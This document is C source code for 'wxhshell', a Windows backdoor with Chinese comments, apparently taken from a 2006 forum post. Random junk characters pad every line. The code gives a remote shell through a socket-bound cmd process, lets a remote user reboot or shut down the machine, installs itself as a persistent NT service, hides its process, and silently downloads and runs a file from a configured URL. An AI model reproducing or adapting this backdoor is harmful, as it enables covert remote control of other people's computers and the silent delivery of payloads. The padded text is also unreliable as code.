  // 帮助 R/xT.EQ(N  
  case '?': { js9^~:Tw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PfsUe,*  
    break; @6 a'p  
  } :}R,a=N  
  // 安装 m1e Sn |)7  
  case 'i': { )<f4F!?,A  
    if(Install()) gN2oUbf8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @uz(h'~  
    else X`(fJ',  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); va:<W H  
    break;  )$GCur~  
    } NcrBp(  
  // 卸载 i6f42]Jy  
  case 'r': { 4H^ACw  
    if(Uninstall()) 2^=8~I!n&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ucJ}KMz  
    else NM9,AG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); njZJp|y6  
    break; \:g\?[  
    } 0CvGpM,  
  // 显示 wxhshell 所在路径 B]NcY&A  
  case 'p': { 9q+W>wt  
    char svExeFile[MAX_PATH]; ${rWDZ0Z  
    strcpy(svExeFile,"\n\r"); k 1a?yH)=  
      strcat(svExeFile,ExeFile); Ai"MJ6)  
        send(wsh,svExeFile,strlen(svExeFile),0); qW4DW4  
    break; +\*b?x  
    } >& 4):  
  // 重启 Eyz.^)r  
  case 'b': { )4h|7^6ji  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nLOK1@,4  
    if(Boot(REBOOT)) X`3_ yeQc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  gnkeJ}K  
    else { /i dI-  
    closesocket(wsh); eso-{W,D  
    ExitThread(0); ($!uBF-b  
    } "TP~TjXfq  
    break; g!.piG|  
    } C>'G?  
  // 关机 ;B;@MD,B  
  case 'd': { [W*M#00_&4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "iGQ1#6|d  
    if(Boot(SHUTDOWN)) spTz}p^\O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +'Y?K]zbt  
    else { 5JEOLPS  
    closesocket(wsh); 5rfDm  
    ExitThread(0); J[05T1  
    } Rc3!u^?u  
    break; 4x}U+1B  
    } cIQbu#[@  
  // 获取shell 8AuE:=?,,  
  case 's': { 9Zj3"v+b  
    CmdShell(wsh); }& W=  
    closesocket(wsh); 5]up%.  
    ExitThread(0); 7W*a+^   
    break; XjCx`bX^<  
  } :?j=MV  
  // 退出 :nR80]  
  case 'x': { }K@m4`T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b`$qKO  
    CloseIt(wsh); B'Jf&v  
    break; 4:S]n19nq  
    } &ds+9A  
  // 离开 0g6sGz=  
  case 'q': { OjAdY\ ]1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n.qT7d(  
    closesocket(wsh); IU5T5p  
    WSACleanup(); $U. |  
    exit(1); w;{Q)_A  
    break; OF={k[  
        } M 87CP=yc  
  } G[JWG  
  } N Uv Vhy]{  
#rF`Hk:  
  // 提示信息 _WvVF*Q"k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M)!"R [V  
} $./aK J1B  
  } 9r+'DX?>  
*r[V[9+y-D  
  return; kX+9U"` C  
} :*&c'  
`"[qb ?z  
// shell模块句柄 `A%WCd60Tc  
int CmdShell(SOCKET sock) tc/  
{ =Gu&0f  
STARTUPINFO si; u8.Tu7~  
ZeroMemory(&si,sizeof(si)); #;~HoOK*#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dt@c,McN|Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zCQP9oK!  
PROCESS_INFORMATION ProcessInfo; T*SLM"x  
char cmdline[]="cmd"; 54Rp0o tv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |&{S ~^$  
  return 0; M49l2x=]9  
} :N_]*>  
_tX=xAO9  
// 自身启动模式 Y2XxfZ j  
int StartFromService(void) AEaN7[PQx|  
{ |nWEuKHy  
typedef struct ?T_MP"  
{ g)^s+Y  
  DWORD ExitStatus; De^:9<{jc  
  DWORD PebBaseAddress; [520!JhZY  
  DWORD AffinityMask; 7I'C'.6iM  
  DWORD BasePriority; q`/J2r+O  
  ULONG UniqueProcessId; ~tt\^:\3~S  
  ULONG InheritedFromUniqueProcessId; d4BzFGsW  
}   PROCESS_BASIC_INFORMATION; %Z<{CV  
Q&vdBO/  
PROCNTQSIP NtQueryInformationProcess; ~G@YA8}  
ha$1vi}b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 65dMv*{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d,^ZH  
RZV6;=/  
  HANDLE             hProcess; Cs[ d:T  
  PROCESS_BASIC_INFORMATION pbi; f$\ O:E=  
&K60n6q{aQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _qf39fM;\  
  if(NULL == hInst ) return 0; B7[d^Y60B  
& nXE?-J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ObEz0Rj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z2t+1 In,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hXth\e\[{`  
 19]19_-  
  if (!NtQueryInformationProcess) return 0; 0&|0l>wy.  
N10U&L'w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 18sc|t  
  if(!hProcess) return 0; 0y,w\'j  
5 | ,b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I/tMFg  
ap )B%9  
  CloseHandle(hProcess); Uzzm2OS`  
D0xQXC3$`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qjhV/fsfb  
if(hProcess==NULL) return 0; F/BR#J1  
'7el`Ff  
HMODULE hMod; jw=PeT|  
char procName[255]; GW;%~qH[,  
unsigned long cbNeeded; "}qs +  
aH{)|?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ltgtD k  
J??AU0 vh  
  CloseHandle(hProcess); lP`BKc,  
\alV #>J5  
if(strstr(procName,"services")) return 1; // 以服务启动 ]}N01yw|s  
)h]#:,pm  
  return 0; // 注册表启动 $~.YB\3  
} KH;~VR8"/  
O6G'!h\F  
// 主模块 ]$Z:^" JS3  
int StartWxhshell(LPSTR lpCmdLine) t kj  
{ Y /_CPY  
  SOCKET wsl; LZe)_9$  
BOOL val=TRUE; Na/Y1RW  
  int port=0; iOURS  
  struct sockaddr_in door; w'(/dr  
jW`JThoq  
  if(wscfg.ws_autoins) Install(); 4($"4>BA  
n_km]~  
port=atoi(lpCmdLine); f; |fS~  
zZCRej  
if(port<=0) port=wscfg.ws_port; xt5/`C  
`T[@-   
  WSADATA data; R\3a Sx L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D;V[9E=g/  
}psRgF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e9KD mX_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YP_L~zZ  
  door.sin_family = AF_INET; X%5eZ"1{x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H/*ol^X7  
  door.sin_port = htons(port); 1]2]l*&3  
/VT/KT{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O+=%Mz(l  
closesocket(wsl); ]q%r2 (y,k  
return 1; U*$P"sS`  
} xrg?{*\  
Y)X7*iTi'j  
  if(listen(wsl,2) == INVALID_SOCKET) { E@ U]k$M  
closesocket(wsl); bJ!\eI%ld  
return 1; X"r)zCP+t  
} EYq?NL='  
  Wxhshell(wsl); [UzD3VPg  
  WSACleanup(); ~#*C,4m  
*pJGp:{6V?  
return 0; Yao}Xo9}  
f?sm~PwC-  
} |^1U<'oM#  
dyWp'vCQs\  
// 以NT服务方式启动 (CxA5u1|l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :uo1QavO@,  
{ $gBQ5Wd  
DWORD   status = 0; R}=5:)%w  
  DWORD   specificError = 0xfffffff; +;q\7*  
Res U5Ce~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [#Y L_*p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H>EM3cFU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TBBnsj6e  
  serviceStatus.dwWin32ExitCode     = 0; SU~a()"  
  serviceStatus.dwServiceSpecificExitCode = 0; Q[j| 2U  
  serviceStatus.dwCheckPoint       = 0; (E0   
  serviceStatus.dwWaitHint       = 0; ]u_j6y!  
rY_~(?XS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Lb96K?=>  
  if (hServiceStatusHandle==0) return; nTqU~'d'  
]5Uuz?:e  
status = GetLastError(); BkB>eE1)Ea  
  if (status!=NO_ERROR) \#9LwC"8;  
{ MuY:(zC%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >q:%?mi  
    serviceStatus.dwCheckPoint       = 0; b0$)G-E/Y  
    serviceStatus.dwWaitHint       = 0; FbE/x$;~O  
    serviceStatus.dwWin32ExitCode     = status; u-TT;k'  
    serviceStatus.dwServiceSpecificExitCode = specificError; PdcIHN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A#"Wk]jX  
    return; &$~fz":1!  
  } C 5.3[  
LlQsc{ Ddf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6L<:>55  
  serviceStatus.dwCheckPoint       = 0; 3^o(\=-JX  
  serviceStatus.dwWaitHint       = 0; k6Kc{kY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fc9;ZX7  
} Ap dXsL  
R{#< NE  
// 处理NT服务事件,比如:启动、停止 EU?qLj':  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {[o NUzcd  
{ ff#7}9_mh  
switch(fdwControl) \Z]+j@9  
{ X8|H5Y:  
case SERVICE_CONTROL_STOP: pr0X7 #_E5  
  serviceStatus.dwWin32ExitCode = 0; ]nTeTW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <,]:jgX  
  serviceStatus.dwCheckPoint   = 0; JtL> mH  
  serviceStatus.dwWaitHint     = 0; t}q e_c  
  { Js,!G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p27Dc wov  
  } )O1]|r7v  
  return; i1 E|lp)  
case SERVICE_CONTROL_PAUSE: #aP#r4$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 mX(.6  
  break; x>#{C,Fi  
case SERVICE_CONTROL_CONTINUE: W>@ti9\t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jdxHWkQ   
  break; TrjyU  
case SERVICE_CONTROL_INTERROGATE: =A"Abmx|  
  break; xE1?)  
}; bwsKdh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mk>; 3m*  
} RaJTya^  
+MoUh'/u  
// 标准应用程序主函数 hhTtxC<:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E=sh^Q(A  
{ R}&?9tVRR  
:;k?/KU7  
// 获取操作系统版本 PF{uaKWk  
OsIsNt=GetOsVer(); 66v,/#K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7d:]o>  
/G||_Hc  
  // 从命令行安装 > G\0Z[<v,  
  if(strpbrk(lpCmdLine,"iI")) Install(); gQ+]N*.  
\`n(JV  
  // 下载执行文件 6>vR5pn  
if(wscfg.ws_downexe) { FOTe, F.8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C(N' =-;Kl  
  WinExec(wscfg.ws_filenam,SW_HIDE); %rW}x[M%w?  
} 7H6Ts8^S  
0j$\k|xFXZ  
if(!OsIsNt) { gX}'b\zxC  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;2f=d_/x  
HideProc(); n1-p/a.  
StartWxhshell(lpCmdLine); }je<^]a  
} .p#kW:zspA  
else ]*2),H1 c  
  if(StartFromService()) c#OxI*,+/  
  // 以服务方式启动 noZbsI4  
  StartServiceCtrlDispatcher(DispatchTable); K.Xy:l*z  
else h3MdQlJ&  
  // 普通方式启动 :@L7RZ`_  
  StartWxhshell(lpCmdLine); 72<9xNcB!}  
x5lVb$!G  
return 0; Fy=GU<&AI  
}
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只看该作者 1 发表于: 2006-10-10
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